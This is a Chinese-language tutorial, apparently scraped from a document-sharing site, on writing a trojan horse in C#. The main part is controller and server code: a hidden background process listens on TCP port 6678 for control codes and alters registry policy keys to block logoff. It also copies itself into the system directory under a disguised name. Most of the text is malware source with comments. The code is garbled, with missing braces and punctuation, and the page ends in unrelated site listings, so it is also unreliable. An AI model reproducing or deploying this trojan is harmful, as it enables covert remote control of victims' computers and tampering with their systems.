版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
1、木馬的介紹因為本文是探討木馬程序,所以在介紹之前有一些木馬構(gòu)成的基本知識事先說明。一個完整的木馬系統(tǒng)由硬件部分,軟件部分和具體連接部分組成。這里主要對軟件部分介紹,它主要有控制端程序、木馬程序(后臺服務(wù)程序)、木馬配制程序組成??刂贫擞靡赃h程控制服務(wù)端的程序;木馬程序是潛入服務(wù)端內(nèi)部,獲取其操作權(quán)限的程序;木馬配制程序是設(shè)置木馬程序的端口號,觸發(fā)條件,木馬名稱等,使其在服務(wù)端藏的更隱蔽的程序。使用的技術(shù):控制端程序發(fā)送控制碼控制服務(wù)器,服務(wù)器后臺運行,修改注冊表達到控制的目的。技術(shù)不是很難的,主要體現(xiàn)C#的網(wǎng)絡(luò)編程和注冊表的修改??刂贫碎_發(fā):控制端向服務(wù)器發(fā)出一段控制碼,服務(wù)端(木馬程序)收到
2、控制碼后,根據(jù)控制的要求,完成指定的要求,如果服務(wù)器完成工作,返回成功的信息??刂贫说拈_發(fā):控制碼的設(shè)定你可以自已設(shè)定,不需要詳解,主要有以下幾個難點1、 連接請求使用了.NET類中的 System.Net.Sockets.TcpClient類,TcpClient(string hostname,int port)Hostname 是要控制的主機名稱,當然你也可以用IP地址。Port是端口。/ System.EventArgs包含事件數(shù)據(jù)類的基類private void button7_Click(object sender, System.EventArgs e)/記錄操作,在richTex
3、tBox控件中增加操作信息richTextBox1.AppendText("請求連接" +textBox1.Text +" ");int port =6678;try/初始化 TcpClient 類的新實例并連接到指定主機上的指定端口client = new TcpClient(textBox1.Text,port);catchMessageBox.Show("服務(wù)器不在線!確定是否輸入主機名稱.");richTextBox1.AppendText("服務(wù)器不在線!確定是否輸入主機名稱.");/private vo
4、id buttion2、測試是否與被控制機連接上。程序的流程是發(fā)送控制碼看控制端是否有反應(yīng),如果有返回則顯示控制成功。 /提供網(wǎng)絡(luò)訪問的數(shù)據(jù)流/private NetworkStream stream;代碼如下:private void button8_Click(object sender, System.EventArgs e)/紀錄操作2、 richTextBox1.AppendText("測試連接" +" ");trystream = client.GetStream();if(stream.CanWrite)/發(fā)送控制碼string contr
5、ol = "jiance"byte by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray();stream.Write(by,0,by.Length);/下次使用stream.Flush();/啟動接收反回數(shù)據(jù)的線程/receive是線程執(zhí)行的函數(shù),見后面的分析threadReceive = new Thread(new ThreadStart(receive);threadReceive.Start();catch(Exception ee)richTextBox1.AppendText (ee.Messa
6、ge+" ");MessageBox.Show(ee.Message);3、控制生效的代碼private void button9_Click(object sender, System.EventArgs e)/這里是確定要發(fā)送的控制碼,RadioButton是窗體控件if(radioButton1.Checked) control = form2.zhucex;else if(radioButton2.Checked) control =form3.zhuces;else if(radioButton3.Checked) control = warring;else i
7、f(radioButton4.Checked) control =suggest;else if(radioButton5.Checked) control =form4.mumawe;else if(radioButton6.Checked) control =drop;if (control ="000000")MessageBox.Show("你沒有輸入任何控制目標!不發(fā)控制信號");richTextBox1.AppendText("你沒有輸入任何控制目標!不發(fā)控制信號");else if(control != "00
8、0000")try/記錄操作richTextBox1.AppendText (control + "正在試圖控制,等待回應(yīng)." + " ");stream = client.GetStream();if(stream.CanWrite )byte by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ();stream.Write(by,0,by.Length);stream.Flush();threadReceive =new Thread(new ThreadStart(r
9、eceive);threadReceive.Start();/endif/trycatchrichTextBox1.AppendText("服務(wù)器未連接1控制無效!" +" ");MessageBox.Show("服務(wù)器未連接1控制無效!" +" ");/else if4、線程執(zhí)行的函數(shù) private void receive()/設(shè)置讀取數(shù)據(jù)的空間byte bb = new byte3;/讀取3個字節(jié),i為實際讀取的字節(jié)數(shù)int i = stream.Read(bb,0,3);/轉(zhuǎn)換成字符串,如果是中文控制碼則
10、用string ss = /System.Text.Encoding.Unicode.GetString(bb);string ss = System.Text.Encoding.ASCII.GetString(bb);/hjc為我設(shè)置的服務(wù)器的返回碼 hjc為連接成功,hkz為控制成功if(ss="hjc")MessageBox.Show("連接成功");richTextBox1.AppendText("連接成功");if(ss= "hkz")richTextBox1.AppendText(control +&q
11、uot;控制成功"+" ");MessageBox.Show(control +"控制成功"+" ");服務(wù)端的開發(fā):要實現(xiàn)木馬服務(wù)的程序,主要實現(xiàn)以下幾個功能:后臺的運行(隱藏技術(shù)),控制碼的接收與注冊表的修改,下面對這三方面做介紹:1、在VC#中,建立一個后臺服務(wù)程序是很容易的,先建立一個新的C#的Windows應(yīng)用程序,項目名稱自定(不過為了隱藏可使用與系統(tǒng)相近的名稱),將窗體屬性“ShowInTaskbar”屬性設(shè)為false,讓它運行時不會在任務(wù)欄中顯示,并將屬性“Windowstate”屬性設(shè)為 Mininize
12、d即可,這樣窗體就可以隱藏運行了。當然你也可以在InitializeComponent()設(shè)置,此函數(shù)起初始化的作用,在窗體顯示前運行,代碼如下:private void InitializeComponent()/ Form1/窗體顯示的起點和大小this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);this.ClientSize = new System.Drawing.Size(368, 357);/窗體名稱this.Name = "Form1"/設(shè)置屬性讓它后臺運行this.ShowInTaskbar = f
13、alse;this.Text = "Form1"this.WindowState = System.Windows.Forms.FormWindowState.Minimized;3、 控制代碼的接收,必需在服務(wù)程序運行開始就啟動,所以偵聽線程必需在程序初始化中啟動,所以放在窗體的構(gòu)造函數(shù)中,代碼注解如下:public Form1() /窗體的構(gòu)造函數(shù)/ Windows 窗體設(shè)計器支持所必需的/InitializeComponent();/ TODO: 在 InitializeComponent 調(diào)用后添加任何構(gòu)造函數(shù)代碼/加入你的偵聽代碼/端口你可以自已設(shè)定,我使用了固定
14、的端口int port =6678;/System.Net.Sockets.TcpListener是用來在Tcp網(wǎng)絡(luò)中偵聽客戶端的listener = new TcpListener(port);/啟動偵聽listener.Start();/增加接收控制碼的線程,如果要停止線程可以用 Thread.abort()/reControlCode 是線程啟動執(zhí)行的函數(shù),此函數(shù)根據(jù)接收的控制/控制碼選取合適的注冊表修改函數(shù)Thread thread = new Thread(new ThreadStart(reControlCode);thread.Start();reControlCode函數(shù)如下,
15、完整代碼見程序private void reControlCode()/設(shè)置接收套接字,接收listener.AcceptSocket是返回已經(jīng)接收的客戶的請求socket = listener.AcceptSocket();/如果連接成功執(zhí)行while (socket.Connected)/接收控制碼byte by =new byte6;int i = socket.Receive(by,by.Length ,0);string ss = System.Text.Encoding.ASCII.GetString(by);/根據(jù)控制碼執(zhí)行不同的功能/修改注冊表加入編碼switch (ss)ca
16、se "jiance":/測試連接,返回測試信息string str ="hjc"byte bytee = System.Text.Encoding.ASCII.GetBytes(str);socket.Send(bytee,0,bytee.Length,0);break;case "zx1000":/修改注冊表函數(shù),自已定義,見下面分析UnLogOff();/返回控制消息retMessage();break;case "zx0100":/修改注冊表函數(shù)UnClose();/返回控制消息retMessage();b
17、reak;/重復的case功能與前面一樣,略掉default:break;/case/while /private void reControlCode 3、C#中實現(xiàn)注冊表的修改,使用了.NET類庫中的System.Microsoft.Win32命令空間,它提供兩種類型的類:處理由操作系統(tǒng)引發(fā)的事件的類和對系統(tǒng)注冊表進行操作的類。下面就可以看到它的用法。這里我做了一個修改注冊表的子程序:使計算機不能注銷。在這之前先了解注冊表,在子鍵SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer下面設(shè)鍵值NoLogOff 為 1 即可使計算機無法注
18、銷。在下面的函數(shù)中用C#實現(xiàn)對注冊表的修改:private void UnLogOff()/得到主機的注冊表的頂級節(jié)點Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;/設(shè)置一個注冊表子鍵的變量RegistryKey key1;try/函數(shù)RegistryKey.OpenSubkey(string registrykey,bool canwrite)檢索指定的子鍵/registrykey是用戶指定的鍵值,canwrite 為true則可修改,默認為fasle不可改key1 =rLocal.OpenSubKey("SO
19、FTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer",true);/設(shè)置子鍵的鍵名,和值key1.SetValue ("NoLogOff",1);/關(guān)閉打開的子鍵key1.Close();/警告字符串設(shè)定mystr = mystr +"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer鍵值Nologoff被修改!請將它置為0!"catch/如果不存在自已建立if(key1 =null)try/使用R
20、egistryKey.CreateSubKey(string mystring)函數(shù)來建立你需要的子鍵RegistryKey key2 = rLocal.CreateSubKey("SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer");key2.SetValue("NoLogOff",1);key2.Close();mystr = mystr +"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer鍵值Nologoff被修改!請將它置為0!"catch4、在木馬程序中還有一個重要的功能就是自我的復制和轉(zhuǎn)移。木馬引入被控制的主機時必需自動將木馬隱藏在System,System32的目錄下以防被發(fā)現(xiàn)。轉(zhuǎn)移的代碼分析如下,主要實現(xiàn)的功能是將D盤下的木馬程序轉(zhuǎn)移到C:winnntsystemmsdoss.exe,同時換名稱。使用的.NET命名空間System.IO,它的作用是允許對數(shù)據(jù)流和文件進行同步和異步讀寫。這里我們使用
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
- 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025年度綠色車間承包維護及升級服務(wù)合同3篇
- 二零二五版苗圃基地苗木栽培技術(shù)培訓與推廣合同4篇
- 2025年度出租車駕駛員勞動合同書(含績效考核辦法)2篇
- 2025年生態(tài)保護項目草籽供應(yīng)服務(wù)合同3篇
- 二零二五年度甲級辦公租賃合同模板2篇
- 2025年度私人車輛產(chǎn)權(quán)轉(zhuǎn)讓及車輛保險代理合同
- 2025年度房地產(chǎn)項目合作出資轉(zhuǎn)讓合同參考4篇
- 2025版現(xiàn)代農(nóng)業(yè)病蟲害防治與食品安全保障合同3篇
- 2025年度大摩中金平和分手協(xié)議書(資產(chǎn)清算版)4篇
- 二零二五年度新能源汽車充電站建設(shè)合同4篇
- 《黃河頌》示范公開課教學PPT課件【統(tǒng)編人教版七年級語文下冊】
- TSEESA 010-2022 零碳園區(qū)創(chuàng)建與評價技術(shù)規(guī)范
- GB/T 19867.5-2008電阻焊焊接工藝規(guī)程
- 2023年市場部主管年終工作總結(jié)及明年工作計劃
- 第三章旅游活動的基本要素課件
- 國有資產(chǎn)出租出借審批表(學校事業(yè)單位臺賬記錄表)
- 安全生產(chǎn)風險分級管控實施細則
- 30第七章-農(nóng)村社會治理課件
- 考研考博-英語-東北石油大學考試押題三合一+答案詳解1
- 出國學生英文成績單模板
- 植物細胞中氨基酸轉(zhuǎn)運蛋白的一些已知或未知的功能
評論
0/150
提交評論